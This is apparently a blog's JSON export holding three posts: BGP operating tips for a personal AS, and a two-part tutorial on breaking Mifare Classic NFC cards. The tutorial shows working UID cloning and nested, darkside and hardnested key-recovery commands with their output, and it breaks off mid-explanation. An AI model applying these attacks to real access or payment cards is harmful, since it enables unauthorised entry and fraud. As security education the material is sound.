[{"content":" These notes were made by the operator of AS205163 (IPv6-only at the time of writing) and will be updated over time. This guide assumes basic knowledge of how BGP works and the terminology associated with this protocol. Some of the notes are only applicable to non-profit / personal AS-es, as commercial ones have to play according to different rules.\nTry https://dn42.eu if you just want to learn \u0026amp; experiment with low risk \u0026amp; no cost.\nASN Management Keep your PeeringDB profile up to date Do NOT use \u0026ldquo;RIPE::\u0026rdquo; or any other prefix before your as-set on PeeringDB, as this may cause filter generation issues (IXPManager with bgpq3) 3 essential email addresses: peering, abuse and NOC. You may add a general contact email as well Organization address may be shortened to postal code with a city upon obtaining the ASN (if you are registering as an individual for non-commercial use, with PA space) (mp-)import / (mp-)export attributes are usually used for AS ownership verification and documentation, rather than prefix filters. Most important for the latter part is an up-to-date as-set in PeeringDB bgp.tools shows as-name in the connection graph, but org-name when you search for an ASN bgp.tools provides monitoring features (including alerts) for free if you flag your ASN as personal Prefixes Proper filtering (min. length, RPKI, [IRR])\nBasic filtering: https://bgpfilterguide.nlnog.net/ Exact IRR route object preferred (bgpq3 / bgpq4 generate exact match filters by default)\nAdd them ASAP for all the upstream filters to be updated before you start announcing Depending on transit provider manual filter update on other side may be required. In most cases your new IRR record will fully propagate within 72h Learn how one of the largest providers performs prefix filter updates: https://routing.he.net/algorithm.html\nAdd geofeed to all subnets\nGeoIP information update may take months, certain providers may need to be contacted for a manual update \u0026ldquo;google does geoip/dbs based on actual routing a lot of the time\u0026rdquo; Anycast prefixes should have the same AS PATH length to all connected Tier 1 providers for proper routing\nPeering FogIXP, ONIX, FREMIX, NVIX are the most affordable IXPs (for beginners)\nVirtual IXPs (e.g. BGP.Exchange, 4IXP) have the lowest joining requirements, can provide some visible peers at bgp.tools, are however relatively unstable and introduce traffic latency if connected via a tunnel\nGeneral IXP Rules (read their ToS carefully):\nOnly send own \u0026amp; downstream prefixes No multicast / broadcast traffic No IP / MAC spoofing No ARP / NDP for IPs outside of IXP LAN No ICMPv6 RA / RS No default routes to IXP members unless peering and explicitly allowed by them No MITM attack attempts Disable rp_filter, arp, multicast, redirects, RA/RS on IXP ports and enable IP forwarding (sysctl.conf)\n(Preferably) do not do eBGP over tunnels. This does not benefit the Internet\nThere are lots of free IPv6 transit providers for non-commercial use (see IPv6 discord). The largest one - Hurricane Electric (AS6939)\nPeering with HE at any common IXP is very fast and straightforward - contact peering@he.net with a kind request for free IPv6 transit Hurricane Electric, despite being IPv6 Tier 1 provider, isn\u0026rsquo;t peering with Cogent (AS174) due to a decade-long dispute. In case either of them is your single provider, you won\u0026rsquo;t be able to reach the other one\u0026rsquo;s customers unless they are connected to your provider as well General policies (always validate routes!!!):\nDownstreams: highest local preference, export all routes (own, peers [and transit]) and / or default route Peers: slightly lower local preference, export own \u0026amp; downstream routes Route servers: slightly lower local preference, export own \u0026amp; downstream routes Transit providers: lowest local preference, export own [\u0026amp; downstream, depending on agreement] routes Save peering time (till session establishment) with the following actions:\nAdd an import / export statement for the peer in advance Specify the following details in your message: Your name, ASN and PeeringDB profile Peering location and IP Prefixes to be announced (you can specify more general and more specific ones) Ask them if they have automatic filter updates (otherwise you\u0026rsquo;d have to contact them for each new announced one) Peering intentions (research/non-profit etc.) Ask for free transit (if the provider offers one) Specify if you want to get full table and / or default routes bgp.tools peers = peers that announce your prefixes in IXPs and a route collector spots them / peers that export all their routes to route collector without announcing them\nThe most reliable source of your peer count is your own server. However, peering with bgp.tools route collector wasn\u0026rsquo;t possible for free plans at the time of writing Software BGP \u0026amp; Routing This part mostly focuses on bird2 routing daemon, but some of the tips are applicable to all tools\nBGP daemon comparison: https://www.youtube.com/watch?v=w_WXichTpYw (TLDW here) 512MB VM isn\u0026rsquo;t enough for full IPv6 table with kernel export. However, it can handle this task with enough SWAP RPKI Validators (e.g. Routinator) are very CPU intensive. You may use a central validator and fetch data via RTR / JSON (e.g. using rtrtr) on the edge nodes Make sure to assign your announced router IP (krt_prefsrc) to any of the interfaces (e.g. lo) Wireguard ignores krt_prefsrc if it\u0026rsquo;s not assigned to the tunnel Use bird2 for stability (bird3 may crash periodically, as of October 2025) Prepend self a maximum of 3 times Define static routes to each hop in a multihop configuration reject route inside static protocol is an alias of unreachable. The route will be exported to the specified table (master by default) as being \u0026ldquo;unreachable\u0026rdquo; Exporting static unreachable routes into kernel is suggested for machines with a default route (to prevent routing loops) Define an export prefix limit (export limit \u0026lt;N\u0026gt; action block). Just in case you mess up BGP prefix filtering will not protect from downstream source IP spoofing - make sure to apply the filters to firewall as well You BGP software will filter out the routes you announce from another PoP (Point of Presence, server location). The default behavior of BGP is to reject routes with own ASN in its path, prefer iBGP for internal route exchange instead [IPv4 and IPv6 dual-stack] Prefer MP-BGP (Multiprotocol BGP) with ENH (extended next hop) to reduce BGP session \u0026amp; peering IP count birdc quick reference: c [soft] - Reload configuration [ignoring filter changes] reload [in/out] \u0026lt;PROT_NAME\u0026gt; - Reload [input/output] filters for a given protocol s p a [\u0026lt;SESSION_NAME\u0026gt;] - Show detailed info on all [or specific] BGP sessions (including imported / exported routes) X imported, Y exported, Z preferred, where X is number of accepted routes (filters passed), Y is the number of exported routes, Z is the number of optimal routes based on BGP route selection algorithm (local preference, AS path\u0026hellip;) that can be exported to other protocols (e.g. kernel) s r for \u0026lt;IP\u0026gt;/\u0026lt;SUBNET\u0026gt; [all] - Show route to given IP / subnet [with details] s r export \u0026lt;PROT_NAME\u0026gt; [count] - Show exported routes to protocol with PROT_NAME [or their count] ip quick reference: ip r s - All IPv4 routes ip r -6 s - All IPv6 routes (same applies to further commands) ip r s dev wg0 - All IPv4 routes on interface wg0 ip r s proto bird - All IPv4 routes exported to kernel by BIRD ip r g 1.1.1.1 - Get route (interface) to host ip -6 n g fe80::3739:bb71:c29:51bf dev wg0 - Get neighbour MAC on interface Monitoring Tailscale for interconnects between PoP-s Akvorado for flow collection \u0026amp; analysis, SNMP \u0026amp; hsflowd as providers on edge nodes Packetvis (= public BGPAlerter instance with a Web-UI) \u0026amp; https://bgp.tools for anomaly detection Looking glass to be added Troubleshooting A route isn\u0026rsquo;t fully visible after more than 72h\nMake sure you have appropriate RPKI / IRR route object for it (in case of automatic filtering), or that your provider manually added it to a whitelist (in case of manual filtering). Check local looking glass (can be found on PeeringDB for you transit AS) and / or various super looking glasses for your prefix\nRoute marked as \u0026ldquo;unreachable\u0026rdquo; after export to kernel from a multihop peer\nMake sure you have defined a full static route to that peer in your routing software\nPing echo request sent successfully, echo reply wasn\u0026rsquo;t received (short time after announcement start)\nMake sure that you received it on the other end (tcpdump icmp6). If not, your packet may have been blocked by an upstream (prefix has not yet been accepted / source IP blocked by firewall). If a reply was sent out but hasn\u0026rsquo;t reached the source, the route may not have propagated globally yet (again, prefix filters)\n\u0026ldquo;BGP: Unexpected connect from unknown address XXX\u0026rdquo; in bird logs\nIf the listed address doesn\u0026rsquo;t match your peer\u0026rsquo;s one, they may have multiple routers present on the IXP and expect you to connect to a specific one (see PeeringDB). If the address is the same as in your config, they may expect other source IP from you (e.g. IXP IP instead of the one assigned by your VM provider)\n\u0026ldquo;Automatic RPKI reload not active for import\u0026rdquo; in bird logs\nMake sure to enable the import table with import table on. Otherwise you would have to wait for a repeated announcement from peer to accept their prefix upon RPKI reload (instead of re-checking all observed routes in the import table)\nNote: enabling the import table will re-import all the routes from the provider\nSNMP interface details not available to Akvorado\nMake sure to export all OIDs (in snmpd.conf), rather that the default systemonly view\nUseful links https://bgp.tools https://bgpfilterguide.nlnog.net/ https://dn42.dev https://discord.gg/ipv6 https://packetvis.com https://quantum5.ca/category/bgp/ https://academy.ripe.net https://www.animmouse.com/tags/asn/ https://blog.fhrnet.eu/2021/02/25/bird-1-6-the-unofficial-guide/ https://blog.fhrnet.eu/2020/04/14/linux-system-as-an-ixp-router/ https://mk16.de/blog/dn42-beginner-tips/ https://docs.google.com/spreadsheets/d/18ztPX_ysWYqEhJlf2SKQQsTNRbkwoxPSfaC6ScEZAG8 https://learn.nsrc.org/bgp https://bgp4all.com/pfs/workshops/start https://bgp4all.com/pfs/_media/workshops/05-bgp-bcp.pdf ","permalink":"/posts/asn-tips/","summary":"Tips / notes on operating a personal AS","title":"Intro to BGP: Operator Lessons"},{"content":"We all know these cards and keychains used for physically accessing something or even paying with them. The most popular trademark is MIFARE, which includes four different types of NFC cards. Even though the \u0026ldquo;Classic\u0026rdquo; version is almost 30 years old, and its followers are much safer, companies and even government organizations still use this type for important operations - simply because it\u0026rsquo;s cheap. In the previous part of this article, we discussed theory behind its weaknesses and vulnerabilities. In this one you will see, that most \u0026ldquo;mathematically complex\u0026rdquo; attacks are easier to reproduce, as you may think.\nMemory layout Before we continue, I highly recommend you to check out the memory layout of Mifare Classic cards, which was explained previously. It will help you better understand what we are dealing with and give you an overview of buzz words terminology used afterwards.\nExploitation ⚠️ WARNING: Provided information should only be used for educational purposes. Every piece of knowledge about this topic was taken from public sources, as referenced at the bottom of this post. No tool installation instructions will be provided. The author is not responsible for any of your actions. Should you dare to use any of these attacks on public systems, I will find your gravestone, write a UID and put a Mifare Classic reader next to it, so every script kiddie can access your soul\nIn the previous part we discovered following attack vectors:\nKeystream recovery LSFR Rollback Authentication replay Nested attack Darkside attack Hardnested attack The first two are very low-level and are used by more common approaches - nested and darkside. Thus, we will only look at their implementation. We will also see, how easy it is to copy a UID of a card.\nUID cloning This is the easiest and cheapest method, but it won\u0026rsquo;t work for all applications. As I already said, some people use UID to identify cards and people, so the only thing you need to bypass this protection is to copy it. It can be done in three ways: using Mifare Classic Tool for Android, libnfc for Linux (and for Windows with some workarounds) or cheap portable hardware from China. I won\u0026rsquo;t show the last method, because I don\u0026rsquo;t own such a device and also won\u0026rsquo;t recommend it to you.\nAndroid The first method requires special \u0026ldquo;CUID\u0026rdquo; cards, not ones with simple block 0 write access. They are referred to as \u0026ldquo;Gen2\u0026rdquo; cards, supporting direct UID write without any additional commands, which Android doesn\u0026rsquo;t support. Unfortunately, I do not own such cards, so cannot show you the process. Mifare Classic Tool in general is very powerful and has lots of other features, which I recommend to check out.\nLinux libnfc is a basic module in every Linux OS, even in Android. It supports many readers and provides APIs for software to interact with them.\n📘 Note: I will be using cheap PN532 reader combined with USB-to-ttl converter for all further demonstrations\nAfter the installation and configuration you can plug in your reader and check its availability with nfc-list. Don\u0026rsquo;t worry about \u0026ldquo;application errors\u0026rdquo;! Put a Mifare Classic card on the reader and observe:\n~ nfc-list NFC device: PN532_UART opened 1 ISO14443A passive target(s) found: ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 UID (NFCID1): 3b 5c 9f 3d SAK (SEL_RES): 08 libnfc provides lots of tools to work with different types of cards, including Mifare Classic dump tool:\n~ nfc-mfclassic Usage: nfc-mfclassic f|r|R|w|W a|b u|U\u0026lt;01ab23cd\u0026gt; \u0026lt;dump.mfd\u0026gt; [\u0026lt;keys.mfd\u0026gt; [f] [v]] f|r|R|w|W - Perform format (f) or read from (r) or unlocked read from (R) or write to (w) or block 0 write to (W) card *** format will reset all keys to FFFFFFFFFFFF and all data to 00 and all ACLs to default *** unlocked read does not require authentication and will reveal A and B keys *** note that block 0 write will attempt to overwrite block 0 including UID *** block 0 write only works with special Mifare cards (Chinese clones) a|A|b|B - Use A or B keys for action; Halt on errors (a|b) or tolerate errors (A|B) u|U - Use any (u) uid or supply a uid specifically as U01ab23cd. \u0026lt;dump.mfd\u0026gt; - MiFare Dump (MFD) used to write (card to MFD) or (MFD to card) \u0026lt;keys.mfd\u0026gt; - MiFare Dump (MFD) that contain the keys (optional) f - Force using the keyfile even if UID does not match (optional) v - Sends libnfc log output to console (optional) It is a bit an overkill to use it for UID cloning, but you can also brick your card if you mess around with dump\u0026rsquo;s access bits. Thus, we will use mf-setuid command for this purpose. Approach a Chinese clone and run it with the UID you obtained previously (using nfc-list) as a parameter:\n~ nfc-mfsetuid deadbeef Now, if you run nfc-list on your clone, you will seen the new UID accordingly:\n~ nfc-list NFC device: PN532_UART opened 1 ISO14443A passive target(s) found: ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 UID (NFCID1): de ad be ef SAK (SEL_RES): 08 Exploitation But let\u0026rsquo;s dive deeper into advanced techniques: nested and darkside attacks. These are reproducible even with a cheap reader as above and allow full data recovery with or even without any known keys! If you are curious and interested in their theoretical implementation, check out the previous part!\nNested attack To implement this technique, an easy to use tool called mfoc was created. Combined with libnfc, it allows one to recover all keys (both A and B) by knowing a single key for any sector.\n~ ./mfoc -h Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output] h print this help and exit k try the specified key in addition to the default keys f parses a file of keys to add in addition to the default keys P number of probes per sector, instead of default of 20 T nonce tolerance half-range, instead of default of 20 (i.e., 40 for the total range, in both directions) O file in which the card contents will be written (REQUIRED) D file in which partial card info will be written in case PRNG is not vulnerable Let\u0026rsquo;s try it on a Classic 1K card, where only one is known and all other are different and unique:\n~ ./mfoc -O dump.mfd Found Mifare Classic 1k tag [...] Try to authenticate to all sectors with default keys... Symbols: \u0026#39;.\u0026#39; no key found, \u0026#39;/\u0026#39; A key found, \u0026#39;\\\u0026#39; B key found, \u0026#39;x\u0026#39; both keys found [Key: ffffffffffff] -\u0026gt; [................] [Key: a0a1a2a3a4a5] -\u0026gt; [/...............] [...] Sector 00 - Found Key A: a0a1a2a3a4a5 Unknown Key B Sector 01 - Unknown Key A Unknown Key B [...] Using sector 00 as an exploit sector Sector: 1, type A, probe 0, distance 64 ..... Sector: 1, type A, probe 1, distance 64 ..... Found Key: A [a5524345cd91] Data read with Key A revealed Key B: [000000000000] - checking Auth: Failed! [...] Sector: 0, type B, probe 0, distance 64 ..... Found Key: B [a5524675cd91] Sector: 1, type B, probe 0, distance 64 ..... Found Key: B [b5524645cd91] [...] Auth with all sectors succeeded, dumping keys to a file! [...] The whole process took around 6 minutes on my machine with PN532 reader. Afterwards, you can use built-in nfc-mfclassic command from libnfc to write the dump to a \u0026ldquo;magic card\u0026rdquo;.\n~ nfc-mfclassic W a u generic.mfd NFC reader: PN532_UART opened Found MIFARE Classic card: ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 UID (NFCID1): de ad be ef SAK (SEL_RES): 08 RATS support: no Guessing size: seems to be a 1024-byte card Sent bits: 50 00 57 cd Sent bits: 40 (7 bits) Received bits: a (4 bits) Sent bits: 43 Received bits: 0a Card unlocked Writing 64 blocks |................................................................| Done, 64 of 64 blocks written. ⚠️ Warning: If you accidentally write raw dump (with block 0) to a card with smaller size, you won\u0026rsquo;t be able to flash smaller (or original) dump to the same card directly. The solution is to run nfc-mfclassic W a u with the same 4K dump again. This way, it completely erases everything on the card (for some reason) and you can now flash the original file with the same command. To prevent this problem, change SAK and ATQA values (you know what it is, right? :) ) in the larger dump to match smaller card size before. I don\u0026rsquo;t know, what happens if you do the same in reverse direction (smaller dump to larger card).\nDarkside attack Pretty easy to recover everything by knowing almost nothing at all, right? But what if we don\u0026rsquo;t know no keys at all? This is where \u0026ldquo;darkside\u0026rdquo; attack can help. Since this approach relies on a lot of \u0026ldquo;guessing\u0026rdquo;, it is much slower than one showed above. Therefore, it is recommended to switch to nested attack after obtaining one key using the darkside one. For this method, another tool called mfcuk was developed. Unfortunately, I did not have luck with this one: neither with 1K nor 4K card.\n----------------------------------------------------- Let me entertain you! uid: deadbeef type: 08 key: 000000000000 block: 07 diff Nt: 108 auths: 10001 ----------------------------------------------------- 30 minutes of useless nonce collection. Yay!\nHardnested attack In case you have a hardened EV1 version of Mifare Classic card, but you have at least one known key, you can always try hardnested variant. This one also requires collecting lots nonces, but is more efficient, and works. You guessed it right, there is another tool called crypto1_bs which contains libnfc_crypto1_crack command and makes it all possible.\n~ libnfc_crypto1_crack libnfc_crypto1_crack \u0026lt;known key\u0026gt; \u0026lt;for block\u0026gt; \u0026lt;A|B\u0026gt; \u0026lt;target block\u0026gt; \u0026lt;A|B\u0026gt; Let\u0026rsquo;s try to recover key B with known key A from the same sector. Note that you have to specify a block you want to authenticate for. In this case, block 3 is the last one in sector 0.\n~ libnfc_crypto1_crack a0a1a2a3a4a5 3 A 3 B Found tag with uid deadbeef, collecting nonces for key B of block 3 (sector 0) using known key A a0a1a2a3a4a5 for block 3 (sector 0) Collected 2285 nonces... leftover complexity 290659126784 (~2^38.08) - initializing brute-force phase... Starting 8 threads to test 290659126784 states using 256-way bitslicing Cracking... 88.99% Found key: a5524645cd91 Tested 258675945216 states The attempt on a hardened 4K card took around 10 minutes, while a normal 1K one was cracked in about 5 minutes. Time depends on number of collected nonces and tested states: sometimes you only need ~1200 nonces and ~20% of all possible states, and sometimes as above.\nConclusion Unless you have a \u0026ldquo;hardened\u0026rdquo; EV1 version of the Classic card, above attacks guarantee 99% data recovery rate. Even with a 4K card and no known keys it takes under 15 minutes to fully clone a card by combining nested and darkside attacks. If you are interested in the theory behind given attacks, you should definitely check out part 1. I won\u0026rsquo;t say goodbye at this point, see you in the next article!\nLiterature My theory summary (part 1) Additional information https://smartlockpicking.com/slides/Confidence_A_2018_Practical_Guide_To_Hacking_RFID_NFC.pdf https://www.youtube.com/watch?v=gMR-sFufXiE https://www.youtube.com/watch?v=VcU3Yf5AqQI https://penturalabs.wordpress.com/2013/07/15/access-control-part-2-mifare-attacks/ https://luemmelsec.github.io/gaylord-M-FOCker-ready-to-pwn-your-MIFARE-tags/ https://ceres-c.it/2021/10/24/weaponizing-NFC-reader/ ","permalink":"/posts/mfclassic/part-2/","summary":"How most popular NFC cards turned into a dangerous accessoire waiting for hackers to exploit","title":"Insecurity of Mifare Classic (Part 2)"},{"content":"We all know these cards and keychains used for physically accessing something or even paying with them. The most popular trademark is MIFARE, which includes four different types of NFC cards. Even though the \u0026ldquo;Classic\u0026rdquo; version is almost 30 years old, and its followers are much safer, companies and even government organizations still use this type for important operations - simply because it\u0026rsquo;s cheap. In the next 2 parts of this topic, we will discuss the theory behind security vulnerabilities and practical approaches to exploiting them. If you are only interested in practical attacks and only a bit of theory, you should check out the next part.\nMemory layout A Mifare Classic card is just a storage device, where the memory is divided into segments and blocks with simple security mechanisms for access control. There are three versions of the Classic family with different memory sizes (in bytes): 320, 1K, 2K and 4K Let\u0026rsquo;s look at their layout closer:\nEach sector has the same layout, consisting of multiple blocks with 16 bytes each. 1K cards, being the most common, have 16 sectors with 4 blocks each. 4K version, starting from sector 32, has 16 blocks in each sector. As you can see by color, sector 0 is \u0026ldquo;special\u0026rdquo;. Block 0 contains the UID - \u0026ldquo;unique ID\u0026rdquo; of the card. Original Mifare cards do not have duplicate IDs, but as there are clones out there, their uniqueness cannot be guaranteed. Since block 0 is read-only from the beginning, some people rely on it and use the UID for authentication, which is a bad idea, as we will later see. Please note, that the actual UID is only 4 bytes long, not 16! This is what we get from Proxmark documentation:\n11223344440804006263646566676869 ^^^^^^^^ UID ^^ BCC ^^ SAK(*) ^^^^ ATQA ^^^^^^^^^^^^^^^^ Manufacturer data (*) some cards have a different SAK in their anticollision and in block0: +0x80 in the block0 (e.g. 08-\u0026gt;88, 18-\u0026gt;98) Therefore, if you want to clone UID (and it\u0026rsquo;s possible, as we will later see) from a larger card to a smaller, you should either only clone the first 4 bytes or change SAK and ATQA values according to given tables:\n📘 Note: SAK is the manufacturer and generic product identification code. According to this note, this number in block 0 does not always correspond to what you see during communication with the card (because real ones are burnt into chips during manufacturing). Thus, if you will do a full block 0 copy of such a card, this inconsistency can easily be spotted. A simple solution is to overwrite SAK in the dump file with the correct one.\nBlocks 1 and 2 are reserved for Mifare Application Directory (MAD), which specifies use-case of a card. It allows readers to check if a card is compatible with them and modify data afterwards. This data is almost always written during manufacturing process and is irrelevant for our research.\nThe last block of each sector has always the same structure. It contains two different keys, called A (green) and B (orange), used to protect the whole sector. Default keys are 0xff*6 for A and 0x00*6 for B, but they can and should be changed. Each key can be programmed to allow operations such as reading, writing, increasing value blocks, etc. These permissions are stored in access bits (purple).\nThe one gray byte is reserved for \u0026ldquo;user-data\u0026rdquo;, even though you have hundreds of other bytes to store data in. Knowing this basic info, we can continue to the interesting part.\nCommunication Let\u0026rsquo;s go through unencrypted communication and initial authentication process. The picture you see below was taken from a wonderful research paper, which you will see many more times below:\n26 - \u0026ldquo;Who is there?\u0026rdquo; 04 00 - \u0026ldquo;It\u0026rsquo;s me, Mifare Classic 1K - ATQA 0x04\u0026rdquo; 93 20 - \u0026ldquo;What\u0026rsquo;s your name (UID)?\u0026rdquo; c2 a8 2d f4 b3 - UID 93 70 ... ba a3 - \u0026ldquo;Okay, I wanna talk with you, UID. CRC of this message is ba a3\u0026rdquo; 08 \u0026lt;CRC\u0026gt; - \u0026ldquo;Okay, I\u0026rsquo;m Mifare Classic 1K btw (SAK 0x08), just to remind you\u0026rdquo; 60 30 \u0026lt;CRC\u0026gt; - \u0026ldquo;I want to access your block 30 using key A (0x60 at the beginning, 0x61 means key B)\u0026rdquo; 42 97 c0 a4 - \u0026ldquo;Sure! Here\u0026rsquo;s a randomly generated nonce nT. Use Crypto-1 function with my UID, sector key and your random nonce as parameters\u0026rdquo; Reader generates keystream ks1 using given parameters. It then picks its own random nonce nR and uses it combined with previous parameters to generate keystream 2 (ks2) by using the same Crypto-1 function 7d db 9b ... - \u0026ldquo;Okay, here is my random nonce (nR) nR XORed with ks1 you created. I also generated next 64 bits (successor) based on your nonce (using LSFR) and XORed 32 last bits with ks2\u0026rdquo; Tag recovers nR by XORing first received result with ks1 it knows. It can then calculate the same ks2 using the same Crypto-1 function as the reader. As a result, it can also verify, that suc2(nT) are in fact the next 32 bits of its nonce nT (by XORing the second result with ks2 it calculated) The final keystream depends on following parameters: Sector key (K), UID, nT, nR. Specifying any of these wrongly will mess everything up. Every further command is encrypted using an according keystream. They are generated \u0026ldquo;on-demand\u0026rdquo; by both tag and reader simultaneously. Thus, if authentication was successful, both devices would have the same keystream at the same time to encrypt/decrypt data.\nExploitation 📘 Note: This section contains information from research papers with over 70 pages in total, as well as blog posts. I cannot guarantee reliability of information, but practical examples should be working, as I tested them myself. Overall, it\u0026rsquo;s really difficult to summarize this amount of information, but I will do my best.\nWhat kinds of attacks can you perform on such a card? As I told you previously, Mifare Classic family has two interesting properties:\nUnique, read-only UID Protected data Thanks to our Chinese friends we now have Mifare clones, so-called \u0026ldquo;magic cards\u0026rdquo;, which UID can be rewritten. These cards are called \u0026ldquo;CUID\u0026rdquo; or \u0026ldquo;custom UID\u0026rdquo; cards and are easy to get for under $2 per 5 pieces. We won\u0026rsquo;t discuss this process in this part, as no special theoretical knowledge is required.\nThe second point is a more complicated. Classic cards use proprietary Crypto-1 encryption, which may sound as an end to us, hobby researchers and pentesters, but not for professionals. Thanks to a research group from Radbond University, in 2008, we were able to get a full description of this cipher and card communication in general. The correctness of results was proved by NXP themselves, as they tried to stop paper publishing by judicial process. After reverse-engineering the new open-source library, people found the following attack vectors:\nKeystream recovery LSFR Rollback Authentication replay Nested attack Darkside attack Hardnested attack Brute-force is a classical approach against security systems, but very inefficient with no known information at all. Considering high possibility count (2^48, since the key is 6 bytes long) and low transmission speed of 106 kbits/s, we would need at least\n(2^48 [possib.] * 48 [bits]) / 106000 [kbit/s] / 60 [sec] / 60 [min] / 24 [hr] / 365 [days] = 4000+ years For one sector, excluding time needed for a single authentication and a small delay inbetween. Nevertheless, looking at the variety of exploits, it can already be assumed that this system is still 99% doomed.\nTo better understand all following details, you need to know one thing, which causes all the chaos: PRNG (\u0026ldquo;Pseudo Ransom Number Generator\u0026rdquo;) is broken. The paper from \u0026ldquo;pioneers\u0026rdquo; of Crypto-1 mechanism explains this problem the best:\nThe random numbers on Mifare Classic tags are generated using a Linear Feedback Shift Register (\u0026ldquo;LFSR\u0026rdquo;) with constant initial condition. Each random value, therefore, only depends on the number of clock cycles elapsed between the time the tag is powered up (and the register starts shifting) and the time the random number is extracted. The numbers have a maximum length of 16-bit. Aside from the highly insufficient length of the random numbers, an attacker that controls the timing of the protocol controls the generated number. The weakness of the PRNG is amplified by the fact that the generating LFSR is reset to a known state every time the tag starts operating.\nAll attacks above are possible, because an attacker completely controls both reader and tag, knows card\u0026rsquo;s UID, nR, and, due to PRNG weakness, can control nT value.\n📘 Note: Most attack vectors have been fixed in the hardened \u0026ldquo;EV1\u0026rdquo; version of Mifare Classic cards. They still use the same cipher though, and after some time researchers were able to develop the hardnested attack, especially for this type of tags.\nKeystream recovery Keystream recovery is the fundamental attack against Mifare Classic cards. Using the weakness in PRNG we are able to get a keystream and thus be able to read/modify memory contents! The following explanation was taken from this research paper:\nTo recover the keystream we exploit the weakness of the pseudo-random generator. As it is this random nonce in combination with only one valid response of the reader what determines the remaining keystream. For this attack we need complete control over the reader (Proxmark) and access to a (genuine) card. The attack consists of the following steps: 1. Eavesdrop the communication between a reader and a card. This can be for example in an access control system or public transport system. 2. Make sure that the card will use the same keystream as in the recorded communication. This is possible because the card repeats the same nonce in reasonable time, and we completely control the reader. 3. Modify the plaintext, such that the card receives a command for which we know plaintext in the response (e.g., by changing the block number in a read command). 4. For each segment of known plaintext, compute the corresponding keystream segment. 5. Use this keystream to partially decrypt the trace obtained in 1. 6. Try recovering more keystream bits by shifting commands Unfortunately, I wasn\u0026rsquo;t able to fully understand the approach. But I\u0026rsquo;ll guess what\u0026rsquo;s going on here:\nAs said, an attacker controls power cycle of the card. Combined with predictable PRNG we can get a nonce nT (step 2 above) which corresponds to one in a recorded communication (step 1). Then, researchers made the following:\nWe can flip ciphertext bits to try to modify the first command [in a recording] such that it gives another result. Another result gives us another plaintextmemory-layout [...] We recorded an increment followed by a transfer command. We used this trace to apply our attack and changed the first command to a read command which consists of 4 command bytes and delivers 18 response bytes. Together with the parity bits this makes it a 198 bit stream. The plaintext was known and therefore we recovered 198 keystream bits [...] Take the recovered keystream and strip all the keystream bits from it that were at parity bit positions. The remaining keystream can be used to encrypt new messages. Every time a parity bit needs to be encrypted, use the next keystream bit without shifting the keystream, in all other cases use the next keystream bit and shift the keystream Basically, returned cipher text is just plaintext XOR keystream. Knowing plaintext of a response (e.g if you are reading a block with 0 values) you can obtain a keystream. It can be used in next sessions with the same nonce nT to encrypt and decrypt about 198 bits of data, including commands and responses. If you need more - just \u0026ldquo;restart\u0026rdquo; the tag and initialize it with the same nonce nT.\nAs said, these are just my guesses about a practical demonstration in the same research paper linked above. Remember, that all used literature in the article is linked directly in text and at the bottom of the page, so feel free to learn more from original sources yourself.\nAuthentication Replay This one is easier to understand. Imagine you top up your card with credits using an NFC terminal. The terminal knows the key and executes an INCREMENT on a value in a sector. You recorded this communication, what now? Since PRNG is predictable, we send authentication requests as long as we get the same nonce as one in the recorded communication. Because we access the same sector on the same card, we can replay step 9 from the picture above (to complete the authentication) and the INCREMENT request. The card will spot no difference from a valid NFC terminal, as both transactions share the same nonce and thus the same keystream. Here is the original explanation:\nTo replay an authentication we first need a trace of a successful authentication between a genuine mifare reader and card. An example of an authentication followed by one read command is shown below. 1 PCD 60 03 6e 49 2 TAG e0 92 93 98 3 PCD ad e7 96! 48! 20! 22 df 93 4 TAG bf 06 91! 82 5 PCD b5! 05! 47 3f 6 TAG 3f 14! 4f e9! 86 38! 96! 85 3e! f3 e3! 3d! eb! 2b! a2 d4 dd 76! After we recorded an authentication between card and reader, we do not modify the memory. This ensures that the memory of the card remains unaltered and therefore it will return the same plaintext. Now we will act like a mifare reader and try to initiate the same authentication. In short: 1. We recorded a trace of a successful authentication between a genuine card and reader. 2. We send authentication requests (#1) until we get a nonce that is equal to the one (#2) in the original trace. 3. We send the recorded response (#3) to this nonce. It consists of a valid response to the challenge nonce and a challenge from the reader. 4. We retrieve the response (#4) to the challenge from the card. 5. Now we are at the point where we could resend the same command (#5) or attempt to modify it. LSFR Rollback This is the second fundamental attack used by methods below to recover sector key in plaintext. LSFR is used to continuously generate keystream(s), but the process can be reversed! Using previously recovered (last) keystream, we can obtain current register state (its bits) and then use a weakness in the filter function (don\u0026rsquo;t ask me what it is) to roll LSFR back to the initial state when the sector key was put into. Knowing nT and UID (which are used to initialize cipher), we can obtain the key in plaintext. Here is the original explanation:\n[...] However, the input to the filter function f does not include the leftmost bit of the LFSR. This weakness does enable us to recover this state (and the plaintext reader nonce) anyway. To do so we shift the LFSR to the right; the rightmost bit falls out and we set the leftmost bit to an arbitrary value r. Then we compute the function f and we get one bit of keystream that was used to encrypt the last bit nR,31 of the reader nonce. Note that the leftmost bit of the LFSR is not an input to the function f, and therefore our choice of r is irrelevant. Using the encrypted reader nonce we recover nR,31. Computing the feedback of the LFSR we can now set the bit r to the correct value, i.e., so that the LFSR is in the state prior to feeding nR,31. Repeating this procedure 31 times more, we recover the state of the LFSR before the reader nonce was fed in. Since the tag nonce and uid are sent as plaintext, we also recover the LFSR state before feeding in nT XOR uid (step 4). Note that this LFSR state is the secret key! Nested attack Knowing the basics of Mifare Classic weaknesses, researchers implemented the most popular \u0026ldquo;nested\u0026rdquo; attack, which requires only one known key and works the following way:\nAuthenticate to an exploit sector with known key (and receive nonce nT in clear) Send an auth command with a request to use known A or B key (step 7 above). On success, communication will be encrypted and thus, new nonce nT' will be also sent encrypted Obtain clear nonce nT2 from nT' by XORing encrypted version with keystream from step 1 Calculate median LSFR shift count (distance) x between first (nT) and second (nT2) nonce generation Reset card and repeat step 1 Send an auth command with a request to use AN UNKNOWN A or B key. This will give us encrypted nonce nT' to brute-force Generate a small pool of possible plaintext nonces for the encrypted one in range x-y - x+y, where y is tolerance of about 20 nonces For each one, XOR it with nT' to obtain ks1. Check if ks1 is a valid keystream by checking parity bits. If correct, plaintext nonce nT2 is also correct Perform LSFR Rollback and obtain the key If not valid, generate next 2 bits of nT2 and loop, until we reach nonce at x+y (median distance + tolerance). This way we reduce possible nonce count to only a small pool, specified by tolerance y Nt ... x-y ... Correct Nt2 somewhere here ... x+y 